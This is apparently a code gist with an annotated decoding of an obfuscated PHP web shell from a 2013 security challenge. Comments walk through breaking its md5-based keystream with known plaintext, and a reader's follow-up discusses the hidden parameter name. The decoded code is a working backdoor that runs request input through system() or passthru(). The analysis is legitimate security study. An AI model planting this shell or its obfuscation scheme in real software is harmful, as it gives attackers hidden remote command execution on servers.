Ballast Security's shell decoding challenge.

gistfile1.php

<?php
/*
 * This is the decoded version of Ballast Security's shell decoding challenge:
 * http://ballastsec.blogspot.ca/2013/01/first-of-many-encrypted-php-shell.html
 *
 * Original: http://pastebin.com/W92Q0Q9j
 * 
 * Decoding was done by @DefuseSec with a bit of help from @RiptideTempora.
 */
@error_reporting(0);
// rot13, easy
$p="pack"

// easy, just run the code and it gives "pass"
if(!isset($_REQUEST["pass"])) {
    exit();
}
$h=$_REQUEST["pass"];

for($i=0;$i<10000;$i++) {
    $h=md5($h,1);
}

// Below, md5 gets used in "CFB mode" to create a stream cipher. Fortunately,
// the key stream is used twice, which gives us the upper hand.

// We know the lengths of $e (4+2=6) and $e1 (4+4=8), and since this is a shell,
// we can be pretty sure they are something like system or passthru, which have
// the correct lengths (known plaintext)...

// We use the known plaintext to find out what $t[1] should be to make the first
// four characters "syst", then confirm our guess with the second use of the
// keystream $t1[1]. It does come out to be "em" so our guess is probably right.
$h=md5($h,1);       // Get next keystream block.
$t=unpack("L",$h);  // 0x8e08e336
$t1=unpack("S",$h); // 0xe336
$t2=unpack("C",$h); // 0x36
$e=pack("L",4336671913-$t[1]).pack("S",86171-$t1[1]);
// $e = "system"

/*
    Q: How exactly do you do it?

    Well, we assume the first 4 chars of $e are "syst", which is equivalent to
    the bytes "\x73\x79\x73\x74". The author of this code was using a little
    endian system, so 4336671913-$t[1] has to be equal to 0x74737973. So:

        4336671913-$t[1] = 0x74737973
        4336671913-0x74737973 = $t[1]
        4336671913-0x74737973 = 0x8e08e336

    So, if our assumption is correct, the first 32 bits of the hash are
    "\x36\xe3\x08\x8e" (mind your endianness). We can check this guess with the
    "em" as follows:

    If our guess is correct, $t1[1] = 0xe336, so the last two chars are:

        86171 - 0xe336 = 0x6d65

    Packing that gives "\x65\x6d", which is "em" --> our guess is correct.

    Q: What if you didn't have a good guess?

    Then you could try all php function names of length 6. There's a good chance
    that only one of them will fit correctly.
*/


// Same thing, again.
$h=md5($h,1);       // Get next keystream block.
$t=unpack("L",$h);  // 0x16a9c89e
$t1=unpack("S",$h); // 0xc89e
$t2=unpack("C",$h); // 0x9e
$e1=pack("L",2317167118-$t[1]).pack("L",2350657810-$t[1]);
// $e1 = "passthru"

// Again...
// The name "$fex" made it pretty clear this was "function_exists", but even if
// it wasn't named that, it would still be pretty obvious, because it's the only
// function (that I know of) that can be used in the pattern below.
$h=md5($h,1);
$t=unpack("L",$h);  // 0x1581ea42
$t1=unpack("S",$h); // 0xea42
$t2=unpack("C",$h); // 0x42
$fex=pack("L",2029019048-$t[1]).pack("L",2213630902-$t[1]).pack("L",2130333601-$t[1]).pack("S",89781-$t1[1]).pack("C",181-$t2[1]);
// $fex = "function_exists"

// Now we have 96 bits of hash. Enough to attempt to crack the password if we
// wanted to.

// Without attacking the "stream cipher," we can't decode this one without the
// password, but if you had a password that collided above (1 in 2^64 or so),
// you could just look at the value of $t[1] and construct the string that it
// will look for, then send the request.
// We do know that it is 4 characters, though.
$h=md5($h,1);
$t=unpack("L",$h);
$t1=unpack("S",$h);
$t2=unpack("C",$h);
$r=$_REQUEST[pack("L",4994670222-$t[1])];

// Then, replace $fex, $e, $e1 with their contents, and we have the shell:
if(function_exists("system")) {
    system($r);     // system($_REQUEST['????']);
}
else if(function_exists("passthru")) {
    passthru($r);   // passthru($_REQUEST['????']);
}
?>

i just happened to come across this and following along with your research into this

// Without attacking the "stream cipher," we can't decode this one without the
// password, but if you had a password that collided above (1 in 2^64 or so),
// you could just look at the value of $t[1] and construct the string that it
// will look for, then send the request.
// We do know that it is 4 characters, though.
$h=md5($h,1);
$t=unpack("L",$h);
$t1=unpack("S",$h);
$t2=unpack("C",$h);
$r=$_REQUEST[pack("L",4994670222-$t[1])];

would it be correct to assume that with the missing 4 characters
if the possible words are as follows
exec, eval, or code we would then have the following values

// 0x65786563
// 0x6576616c
// 0x636f6465

after doing the math we are left with these values remaining for the bits of the final hash block
0x65786563 ->// 0xC43C392B
0x6576616c ->// 0xC43E3D22
0x636f6465 ->// 0xC6453A29

@Blackwat3r: Yes, that's right. I didn't double check our math, but the idea is right.